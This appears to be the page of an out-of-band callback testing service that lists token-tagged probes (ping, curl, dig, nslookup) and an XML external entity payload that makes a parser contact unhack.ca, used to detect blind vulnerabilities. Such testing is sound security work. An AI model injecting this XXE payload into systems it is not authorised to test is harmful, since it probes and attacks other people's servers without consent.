$ ping -c1 -p 005a917b62fcc58c01015f1219293300 unhack.ca
 
$ curl http://unhack.ca/p/5a917b62fcc58c01015f12192933
 
$ dig 5a917b62fcc58c01015f12192933 @unhack.ca
 
$ dig 5a917b62fcc58c01015f12192933.ns.unhack.ca
 
C:\> nslookup 5a917b62fcc58c01015f12192933 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5a917b62fcc58c01015f12192933">]>
    <foo>&xxe;</foo>
 
Waiting for ping...